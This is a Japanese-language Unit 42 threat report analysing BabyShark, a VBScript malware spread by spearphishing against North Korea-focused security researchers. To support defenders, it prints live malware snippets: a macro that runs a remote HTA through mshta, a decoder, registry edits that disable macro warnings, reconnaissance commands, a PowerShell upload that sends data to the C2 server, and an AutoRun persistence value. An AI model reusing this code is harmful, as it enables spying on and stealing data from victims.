This post is also available in: English (英語)
概要
2019年2月、Palo Alto Networks脅威インテリジェンス調査チームUnit 42は、2018年11月に送信されたスピアフィッシング電子メールを特定しました。その電子メールには、新しいマルウェアが含まれていましたが、このマルウェアが利用するインフラストラクチャは、北朝鮮による攻撃キャンペーンに結びついたプレイブックと同じものでした。
このスピアフィッシングメールは、現在米国でコンサルタントとして働いている核セキュリティ専門家が送信したように装って書かれており、この専門家の名でパブリックなメールアドレスから送信され、件名で北朝鮮の核問題について触れられていました。
当該メールには悪意のあるExcelマクロ文書が添付されており、実行されるとMicrosoft Visual Basic(VB)スクリプトベースの新しいマルウェアファミリが作成されます。Unit 42 ではこのマルウェアファミリを「BabyShark」と呼んでいます。
BabySharkは比較的新しいマルウェアで、私たちがオープンソースリポジトリと社内のデータセットから見つけた最初期のサンプルは2018年11月のものでした。マルウェアは最初のステップとなるHTA(HTMLを利用してWindowsアプリを作る技術)をリモートの場所から実行することで起動されます。
このため、PEファイル、悪意のある文書など、さまざまな種類のファイルで配信される可能性があります。このHTAはシステム情報をC2サーバーに漏出させ、システム上で永続性を維持し、オペレータからの次の指示を待ちます。以下の図1は実行の流れを示しています。
Unit 42は当該フィッシングメールが少なくとも次の機関を標的としていることを特定できました。
- アメリカのある大学。ここで当時の北朝鮮非核化問題に関する会議を開催予定だった
- アメリカに本拠を置くある研究所。この研究所は国家安全保障問題のシンクタンクとして機能しており、先の原子力専門家が現在働いている
Unit 42 は、検索範囲を公開されているリポジトリのサンプルに広げ、BabySharkを配信する悪意のあるドキュメントのサンプルを追加で特定しました。これらのサンプルの元ファイル名とおとり文書(ルアー)の内容から、攻撃者は北朝鮮についてだけでなく広く北東アジア地域を対象とした情報を収集することに関心があった可能性が高いことが示唆されました。
調査を進めるうち、過去に北朝鮮由来と疑われていた活動とのつながりが見つかりました。 KimJongRATとSTOLEN PENCILです。
悪意のある文書
BabySharkは比較的新しいマルウェアで、私たちが観測した最初のサンプルは2018年11月のものです。BabySharkを配信するすべての悪意のあるドキュメントのおとり文書は英語で書かれており、北東アジア地域のセキュリティ問題に関連しているものでした。
おとり文書の中にはインターネット上で公開された情報として入手できる情報をコンテンツとしているものもありましたが、なかには未公開のものと思われるコンテンツもありました。この未公開コンテンツを含む文書のメタデータを調べたところ、この脅威攻撃者は米国国家安全保障シンクタンクにいるある個人を侵害することでプライベートな文書へのアクセス権を得たことが疑われます。
悪意のあるドキュメントには、BabySharkの最初のステップとなるHTAをリモートの場所からロードする単純なマクロが含まれています。
1 2 3 |
Sub AutoOpen() Shell ("mshta https://tdalpacafarm[.]com/files/kr/contents/Vkggy0.hta") End Sub |
BabySharkマルウェアの解析
分析されたサンプルの詳細は次のとおりです:
SHA256 | 9d842c9c269345cd3b2a9ce7d338a03ffbf3765661f1ee6d5e178f40d409c3f8 |
作成日 | 2018:12:31 02:40:00Z |
変更日 | 2019:01:10 06:54:00Z |
ファイル名 | Oct_Bld_full_view.docm |
表1 分析サンプルの詳細
このサンプルは悪意のあるマクロを含むWord文書で、リモートの場所にあるHTAファイルを実行することでBabySharkをロードします。
https://tdalpacafarm[.]com/files/kr/contents/Vkggy0.hta
HTAを正常にロードした後、HTTP GETリクエストを同じC2サーバー上の別の場所に送信し、次のデコード用関数でレスポンスの内容を解読します。
1 2 3 4 5 6 7 8 9 10 11 |
Function Co00(c) L=Len(c) s="" For jx=0 To d-1 For ix=0 To Int(L/d)-1 s=s&Mid(c,ix*d+jx+1,1) Next Next s=s&Right(c,L-Int(L/d)*d) Co00=s End Function |
デコードされたBabyShark VBスクリプトは、まず次のレジストリキーを追加して、Microsoft WordおよびExcel用に今後のすべてのマクロを有効にします。
HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings, value:1
HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings, value:1
HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings, value:1
HKCU\Software\Microsoft\Office\14.0\WORD\Security\VBAWarnings, value:1
HKCU\Software\Microsoft\Office\15.0\WORD\Security\VBAWarnings, value:1
HKCU\Software\Microsoft\Office\16.0\WORD\Security\VBAWarnings, value:1
その後、一連のWindowsコマンドを発行し、その結果を%AppData%\Microsoft\ttmp.logに保存します。
1 2 3 4 5 6 7 8 9 10 11 12 13 |
whoami hostname ipconfig /all net user dir "%programfiles%" dir "%programfiles% (x86)" dir "%programdata%\Microsoft\Windows\Start Menu" dir "%programdata%\Microsoft\Windows\Start Menu\Programs" dir "%appdata%\Microsoft\Windows\Recent" tasklist ver set reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" |
収集されたデータは、Windowsのcertutil.exeツールでエンコードされ、HTTP POSTリクエスト経由でC2にアップロードされます。
1 2 |
retu=wShell.run("certutil -f -encode """&ttmp&""" """&ttmp1&"""",0,true) retu=wShell.run("powershell.exe (New-Object System.Net.WebClient).UploadFile('https://tdalpacafarm[.]com/files/kr/contents/upload.php','"&ttmp1&"');del """&ttmp1&""";del """&ttmp&"""",0,true) |
BabySharkは、永続性維持のために次のレジストリキー値を追加し、オペレータからの次のコマンドを待ちますが、残念ながら私たちにはオペレータが発行した追加コマンドを集められませんでした。
HKCU\Software\Microsoft\Command Processor\AutoRun, value: "powershell.exe mshta https://tdalpacafarm[.]com/files/kr/contents/Usoro.hta"
このレジストリキーは、cmd.exeが起動した際、value: 部分の文字列を実行します。BabySharkは、タスクスケジューラに次のスクリプトを登録し、cmd.exeが確実に起動されるようにします。
1 2 3 4 |
[%AppData%\Microsoft\Axz\zvftz.vbs] Set wShell=CreateObject("WScript.Shell"):retu=wShell.run("cmd.exe /c taskkill /im cmd.exe",0,true) [%AppData%\Adobe\Gqe\urjlt.js] wShell=new ActiveXObject("WScript.Shell");retu=wShell.run("cmd.exe /c taskkill /im cmd.exe"",0,true); |
ほかの活動とのつながり
私たちは、北朝鮮の関与が疑われている過去の別の疑わしい活動とBabySharkとの間に関連があることに気づきました。KimJongRATとSTOLEN PENCILです。
KimJongRATとのつながり:
- BabySharkとKimJongRATは、収集されたシステム情報を格納するために同一のファイルパス%AppData%/Microsoft/ttmp.log を使用します。
- KimJongRATにも国家安全保障関連の対象者を標的にするという同様の関心がありました。KimJongRATは次のおとりと一緒に配布されました。
おとりファイル名 | ドロッパーのSHA256 |
Kendall-AFA 2014 Conference-17Sept14.pdf | c4547c917d8a9e027191d99239843d511328f9ec6278009d83b3b2b8349011a0 |
U.S. Nuclear Deterrence.pdf | 1ad53f5ff0a782fec3bce952035bc856dd940899662f9326e01cb24af4de413d |
제30차한미안보 안내장 ENKO.fdp.etadpU.scr (訳すと第30回韓米国家安全保障へのご招待(更新)といった内容) | b3e85c569e89b6d409841463acb311839356c950d9eb64b9687ddc6a71d1b01b |
Conference Information_2010 IFANS Conference on Global Affairs (1001).pdf | 0c8f17b2130addebcb2ca75bd7a982e37ddcc49d49e79fe60e3fda767f2ec972 |
表2 KimJongRAT配信時に使用されるおとりファイル名
- BabySharkマルウェアの背後にいる攻撃者は、マルウェアを開発するさい、サンプルを頻繁にウイルス対策製品でテストしていました。テストサンプルには、新しくコンパイルされたKimJongRATが含まれていました。
SHA256 | サイズ | コンパイルした日 | アンチウイルステストサイトにアップロードされた日 |
52b898adaaf2da71c5ad6b3dfd3ecf64623bedf505eae51f9769918dbfb6b731 | 685,568 バイト | 2019-01-04 05:44:31 | 2019-01-04 08:15:41 |
表3 作成したばかりのテスト用KimJongRATのサンプル
STOLEN PENCILとのつながり:
- PEタイプのBabySharkローダーの新たにコンパイルされたテスト版は、公開されているサンプルリポジトリにアップロードされていました。サンプルは、STOLEN PENCILキャンペーンでも使用されていた、盗まれたコード署名証明書を使って署名されていました。このほかに同じ証明書で署名されていたマルウェアは確認できませんでした。
SHA256 | サイズ | コンパイルした日 | アンチウイルステストサイトにアップロードされた日 |
6f76a8e16908ba2d576cf0e8cdb70114dcb70e0f7223be10aab3a728dc65c41c | 32,912 バイト | 2018-12-21 00:34:35 | 2018-12-21 08:30:28 |
表4 PEタイプのBabySharkローダーサンプルの署名付きテストバージョン
結論
BabySharkは2018年11月に始まった限定的なスピアフィッシングキャンペーンで使用されており、現在も継続中です。背後にいる脅威攻撃者は、北東アジアの国家安全保障問題に関連した情報を集めることに明確に焦点を当てています。巧妙に細工されたスピアフィッシングメールとおとり文書は、攻撃者が標的を知悉しており、関連するコミュニティイベントを注意深く監視して最新情報を収集している様子をうかがわせます。決定的ではありませんが、BabySharkの背後にいる攻撃者は、KimJongRATマルウェアファミリを使用したのと同じ攻撃者に関連している可能性があり、少なくともSTOLEN PENCIL攻撃キャンペーンの実行者とはリソースを共有しています。私たちはまた、攻撃者がBabyShark用PEローダーに取り組むためにテストをしている様子があることにも気が付きました。脅威攻撃者は、将来のキャンペーンでBabySharkを配信するためにさまざまな方法をとる可能性があります。
パロアルトネットワークスのお客様は、次のようにしてこの脅威から保護されています。
- WildFireとTrapsは本稿に記載したすべてのファイルをMalicious(マルウェア)と判定します。
- 攻撃者が使用するC2ドメインはThreat Preventionによりブロックされます。
AutoFocusをお使いのお客様は、本稿で説明した当該攻撃者グループによる現在も継続中の活動を次のタグで監視できます。
パロアルトネットワークスは本稿で見つかったファイルサンプルや侵害の兆候などをふくむ調査結果をCyber Threat Alliance(CTA サイバー脅威アライアンス)のメンバーと共有しました。CTA のメンバーはこのインテリジェンスを使用して、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害することができます。Cyber Threat Allianceの詳細については www.cyberthreatalliance.org をご覧ください。
IOC
悪意のある文書:
- 7b77112ac7cbb7193bcd891ce48ab2acff35e4f8d523980dff834cb42eaffafa
- 9d842c9c269345cd3b2a9ce7d338a03ffbf3765661f1ee6d5e178f40d409c3f8
- 2b6dc1a826a4d5d5de5a30b458e6ed995a4cfb9cad8114d1197541a86905d60e
- 66439f0e377bbe8cda3e516e801a86c64688e7c3dde0287b1bfb298a5bdbc2a2
- 8ef4bc09a9534910617834457114b9217cac9cb33ae22b37889040cde4cabea6
- 331d17dbe4ee61d8f2c91d7e4af17fb38102003663872223efaa4a15099554d7
- 1334c087390fb946c894c1863dfc9f0a659f594a3d6307fb48f24c30a23e0fc0
- dc425e93e83fe02da9c76b56f6fd286eace282eaad6d8d497e17b3ec4059020a
- 94a09aff59c0c27d1049509032d5ba05e9285fd522eb20b033b8188e0fee4ff0
盗まれた証明書で署名されたPEバージョンのローダー
- 6f76a8e16908ba2d576cf0e8cdb70114dcb70e0f7223be10aab3a728dc65c41c